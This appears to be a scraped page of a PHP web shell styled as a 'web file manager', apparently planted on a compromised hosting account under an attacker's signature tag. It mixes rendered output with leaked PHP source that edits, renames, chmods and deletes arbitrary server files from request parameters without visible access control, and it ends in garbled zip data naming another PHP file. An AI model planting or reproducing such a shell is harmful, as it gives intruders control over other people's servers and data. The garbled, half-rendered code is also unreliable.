芝麻web文件管理V1.00

编辑当前文件:/home/gettoplisting/public_html/h6snx5/0kium3.zip

File Content:

Edit Rename Chmod Delete
File does not exist or is not readable.
File does not exist or is not readable."; } if (isset($_POST["edit"])) { $content = $_POST["file_content"]; if (doFile($filePath, $content)) { $_SESSION["success"] = "File updated successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } else { $_SESSION["error"] = "Failed to update file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } } } // --- Rename Logic (file or folder) --- function handleRename($type, $currentNameKey) { $isFile = ($type === 'file'); $nameKey = $isFile ? 'file' : 'folder'; if (!isset($_GET["path"], $_GET[$nameKey])) { echo "
Invalid parameters.
"; return; } $currentName = $_GET[$nameKey]; $path = rtrim($_GET["path"], "/\\"); $fullPath = $path . DIRECTORY_SEPARATOR . $currentName; $isValid = $isFile ? (file_exists($fullPath) && is_file($fullPath)) : (is_dir($fullPath) && is_writable($fullPath)); if (!$isValid) { echo "
" . ucfirst($type) . " does not exist or is not readable.
"; return; } // Handle POST Rename if (isset($_POST["rename"])) { $newName = trim($_POST["new_name"]); $newPath = $path . DIRECTORY_SEPARATOR . $newName; if ($newName !== "" && rename($fullPath, $newPath)) { $_SESSION["success"] = ucfirst($type) . " renamed successfully!"; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($newName) . "&action=rename" . $type); exit; } else { $_SESSION["error"] = "Failed to rename " . $type . "."; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($currentName) . "&action=rename" . $type); exit; } } // Show form ?>

Are you sure you want to delete the file ?

File does not exist or is not readable."; } if (isset($_POST["delete"])) { if (unlink($filePath)) { $_SESSION["success"] = "File deleted successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"])); exit; } else { $_SESSION["error"] = "Failed to delete file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=deletefile"); exit; } } } if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["path"]) && isset($_GET["file"])) { $basePath = rtrim($_GET["path"], "/\\"); $folderName = $_GET["file"]; $folderPath = $basePath . "/" . $folderName; if (file_exists($folderPath) && is_dir($folderPath)) { ?>

Are you sure you want to delete the folder and all its contents?

Folder does not exist."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) { $filePath = rtrim($_GET["path"], "/\\") . "/" . $_GET["file"]; if (file_exists($filePath) || is_writable($filePath)) { ?>
File does not exist or is not writable."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) { $folderPath = rtrim($_GET["path"], "/\\") . "/" . $_GET["folder"]; if (is_dir($folderPath) || is_writable($folderPath)) { ?>
Folder does not exist or is not writable."; } } ?>
FILE FOLDER
Directory Is NOT Readable
Name Size Permission Action
---
bytes
N4ST4R_ID | Naxtarrr PK%yg[gg qym31.phpnu[PKI